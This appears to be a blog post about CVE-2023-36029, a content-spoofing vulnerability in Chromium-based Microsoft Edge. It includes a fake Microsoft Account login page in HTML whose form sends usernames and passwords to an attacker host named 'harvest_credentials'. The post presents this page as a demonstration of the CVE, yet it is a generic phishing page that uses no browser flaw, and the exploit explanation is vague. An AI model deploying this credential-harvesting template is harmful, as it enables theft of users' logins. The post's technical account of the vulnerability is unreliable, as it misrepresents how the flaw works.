A new vulnerability, identified as CVE-2023-36029, has been discovered in the Chromium-based Microsoft Edge web browser. This vulnerability allows for a potential attacker to spoof content rendering, enabling them to manipulate and exploit how users perceive the website they are visiting. This type of attack can lead to users unknowingly providing sensitive information to malicious actors, such as passwords or financial data.

In this long-read post, we will analyze the details surrounding the exploitation of this vulnerability, provide code snippets to help you understand the concepts, and offer links to original references and resources for further information.

Exploit Details

To understand how this vulnerability works, it's essential to grasp the concept of content rendering in a browser. Content rendering involves the processes responsible for making webpages appear as they do on our screens, including elements such as text, images, and videos.

Under normal circumstances, Microsoft Edge operates by rendering content within a restricted environment. This restriction ensures that the content does not gain unauthorized access to system resources or manipulate the user's browser behavior. However, in the case of CVE-2023-36029, a would-be attacker can exploit this vulnerability by chaining specific requests or crafting special objects to bypass the restrictions in place.

Code Snippet

A simplistic example of how this exploit could potentially work would involve using an iframe to load a malicious website that appears legitimate. The snippet below demonstrates an attacker creating a malicious website using a fake login form:

<!DOCTYPE html>
<html>
<head>
<title>CVE-2023-36029 Demo: Malicious Website</title>
</head>
<body>
<h1>Microsoft Account Login</h1>
<form action="https://attacker.example.com/harvest_credentials"; method="POST">
  <label>Username:</label>
  <input type="text" name="username" required>
  <label>Password:</label>
  <input type="password" name="password" required>
  <input type="submit" value="Log In">
</form>
</body>
</html>

In this example, the malicious website is disguised to appear as a legitimate Microsoft Account login page, inviting the user to enter their credentials unwittingly. The attacker can then harvest this information for later use, leading to possible identity theft or unauthorized access to the user's Microsoft services and resources.

Original References

For more information on CVE-2023-36029 and the technicalities behind the structuring of the exploit, visit the official references provided by the Microsoft Security Response Center (MSRC) and the Common Vulnerabilities and Exposures (CVE) database:

1. Microsoft Security Response Center: CVE-2023-36029
2. Common Vulnerabilities and Exposures: CVE-2023-36029

Conclusion

CVE-2023-36029 poses a serious risk to users of the Chromium-based Microsoft Edge browser, as it allows attackers to create convincing-looking spoofs of legitimate websites. Vigilance and caution when entering sensitive information are crucial in defending against such vulnerabilities.

As always, it is essential to keep your browser up-to-date with the latest security patches and updates provided by Microsoft and the Chromium project. Stay informed about new and emerging vulnerabilities by regularly checking with organizations such as the MSRC and CVE to help protect yourself and your systems from potential cyber threats.

Timeline

Published on: 11/03/2023 01:15:07 UTC
Last modified on: 11/13/2023 03:28:00 UTC